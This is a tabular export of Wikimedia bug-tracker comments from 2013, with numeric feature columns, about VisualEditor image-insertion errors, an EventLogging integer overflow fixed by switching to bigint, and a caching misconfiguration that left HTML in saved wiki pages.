238593,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),*** Bug 49795 has been marked as a duplicate of this bug. ***,,,1371627753,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49795 has been marked as a duplicate of this bug. ***
238587,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),I get the same type of error: <http://pt.wikipedia.org/w/index.php?title=PLoS_ONE&diff=36119075&oldid=34872658>,,,1371391157,,PHID-USER-vyidforzdhnrsoweujao,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.7,1.0,I get the same type of error: <URL
238580,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"For additional examples, if that will be helpful, see:
http://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29&diff=560023092&oldid=541758155

http://en.wikipedia.org/w/index.php?title=Keshi_%28demon%29&diff=559979773&oldid=559978871",,,1371305701,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4375,0.875,"For additional examples, if that will be helpful, see:
URL

URL"
238574,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"Roan, do we get the typeof:/etc. wrong at our end, or is this a Parsoid issue?",,,1371244860,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.15,0.95,"Roan, do we get the typeof:/etc. wrong at our end, or is this a Parsoid issue?"
51586,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,"

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1371231960,1371232257.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-myow2awxzmx4c4ssz6ta,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
238095,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,Merged and we'll get this out on Monday so we can test it.,,,1371234407,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-myow2awxzmx4c4ssz6ta,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,20.0,20.0,13.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.9333333333333333,Merged and we'll get this out on Monday so we can test it.
238091,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,Related URL: https://gerrit.wikimedia.org/r/68712 (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6),,,1371233987,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-myow2awxzmx4c4ssz6ta,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6)
238087,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,"(In reply to comment #1)
> All events in Edit_5563071 appear to have the same value for
> event_pageViewSessionId (2147483647).

It was simply overflowing its column type (int). I set it to 'bigint' and it's fine now.

It's odd that we haven't run into this before! It's because we ordinarily convert timestamps to byte strings, like the rest of MediaWiki. This is the first time we've tried to save timestamps as integers. The int type is good for values between +/- 2,147,483,647, which has been adequate for all other use cases.

> When fixing, we will want to bump the event_version value.

Well, since this did not require a deployment, I instead moved all existing rows in the 'Edit' table to 'z_Edit_5563071'. Any events that go into the current 'Edit_5563071' will be fine.",,,1371232257,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-myow2awxzmx4c4ssz6ta,task_subcomment,,True,c1,2,True,,,-3,,2.0,0.0,0.0,0.0,1.0,5.5,2.5,0.5,0.0,0.0,2.5,6.0,0.0,0.0,0.0,2.5,0.5,4.5,10.5,0.0,1.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,0.0,3.0,1.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.5,0.5,0.0,2.0,0.0,0.5,0.0,14.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,3.5,3.0,9.5,1.5,0.5,8.0,0.0,0.0,0.5,0.5,3.0,0.0,1.0,0.0,5.5,10.5,2.5,0.0,5.0,0.0,5.5,0.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,3.621066271751203,0.7756386523509811,"(In reply to comment #1)
QUOTE
QUOTE

It was simply overflowing its column type (int). I set it to 'bigint' and it's fine now.

It's odd that we haven't run into this before! It's because we ordinarily convert timestamps to byte strings, like the rest of MediaWiki. This is the first time we've tried to save timestamps as integers. The int type is good for values between +/- 2,147,483,647, which has been adequate for all other use cases.

QUOTE

Well, since this did not require a deployment, I instead moved all existing rows in the 'Edit' table to 'z_Edit_5563071'. Any events that go into the current 'Edit_5563071' will be fine."
238081,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,"All events in Edit_5563071 appear to have the same value for event_pageViewSessionId (2147483647).

When fixing, we will want to bump the event_version value.",,,1371232111,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-myow2awxzmx4c4ssz6ta,task_subcomment,,True,c1,2,True,,,-3,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.724137931034483,0.8620689655172413,"All events in Edit_5563071 appear to have the same value for event_pageViewSessionId (2147483647).

When fixing, we will want to bump the event_version value."
51585,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,"

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1371231900,1371234357.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-znkh7fhdepbxk6h3va36,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
238056,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,Merged and we'll get this out on Monday so we can test it.,,,1371234387,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,20.0,20.0,13.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.9333333333333333,Merged and we'll get this out on Monday so we can test it.
238049,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,Related URL: https://gerrit.wikimedia.org/r/68712 (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6),,,1371233985,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6)
238041,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,Related URL: https://gerrit.wikimedia.org/r/68712 (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6),,,1371233983,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6)
238030,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,"Coordination card on Trello: https://trello.com/c/xCkMEAY0

Reminder: anonymous editors are excluded from logging (we'll instrument the edit funnel for anons in July in preparation for the global launch).",,,1371233068,,PHID-USER-qb5aoo443n6fezsozhv4,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,18.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.5,0.8823529411764706,"Coordination card on Trello: URL

Reminder: anonymous editors are excluded from logging (we'll instrument the edit funnel for anons in July in preparation for the global launch)."
238023,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,"Needs also https://meta.wikimedia.org/wiki/Schema:Edit to be updated first, of course. :-)",,,1371232172,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,"Needs also URL to be updated first, of course. :-)"
51577,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"I have edited the page w:cs:Banolo Blahnik and after saving HTML code was left at the page. See this revision: https://cs.wikipedia.org/w/index.php?title=Manolo_Blahnik&oldid=10415532

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1371213300,1371235366.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-m3novk5xasw5lqvg62ye,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,18.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7333333333333334,0.6888888888888889,"I have edited the page w:cs:Banolo Blahnik and after saving HTML code was left at the page. See this revision: URL

--------------------------
**Version**: unspecified
**Severity**: critical"
237552,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,*** Bug 50049 has been marked as a duplicate of this bug. ***,,,1372004983,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50049 has been marked as a duplicate of this bug. ***
237549,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Yes, <https://bugzilla.wikimedia.org/show_bug.cgi?id=49701>. It is apparently fixed.",,,1371657346,,PHID-USER-vyidforzdhnrsoweujao,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.111111111111111,1.0,"Yes, <URL It is apparently fixed."
237546,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,Did you open a new bug? If so could you please link it? I have someone with a similar issue.,,,1371652833,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-2,,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,17.0,9.0,0.0,9.0,0.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.1739130434782608,0.8695652173913043,Did you open a new bug? If so could you please link it? I have someone with a similar issue.
237543,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Ah, sorry, I missed the tag. I think you should; this is certainly something different than what was happening here.",,,1371483619,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-2,,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.88,0.88,"Ah, sorry, I missed the tag. I think you should; this is certainly something different than what was happening here."
237536,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,It has the VisualEditor tag and was reported in the feedback page <http://pt.wikipedia.org/w/index.php?title=Wikip%C3%A9dia%3AEditor_Visual%2FComent%C3%A1rios&diff=36129760&oldid=36054006>. Should I open a new bug?,,,1371482523,,PHID-USER-vyidforzdhnrsoweujao,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,24.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.6666666666666665,0.9523809523809523,It has the VisualEditor tag and was reported in the feedback page <URL Should I open a new bug?
237529,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"It's not, this bug had different symptoms, and that edit doesn't even seem to have been made using VE.",,,1371480754,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,0.9583333333333334,"It's not, this bug had different symptoms, and that edit doesn't even seem to have been made using VE."
237522,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Not sure if this is related: <https://pt.wikipedia.org/w/index.php?title=CMM_-_Canal_Meninos_e_Meninas&diff=36129698&oldid=36129686>, but that edit was made today.",,,1371477080,,PHID-USER-vyidforzdhnrsoweujao,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.1875,1.0,Not sure if this is related: <URL but that edit was made today.
237516,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"To update, this bug was in an overly-keen Operations cacheing server configuration change which broke the caches' responses completely (and corrupted every response to not be what we want).

Sorry everyone for the disruption; we've now found (and killed) this problem, and re-enabled VisualEditor as before.",,,1371235366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-3,,2.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,10.0,2.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,5.0,3.0,6.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.0,10.0,3.0,0.0,2.0,0.0,3.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,4.241935483870968,0.8387096774193549,"To update, this bug was in an overly-keen Operations cacheing server configuration change which broke the caches' responses completely 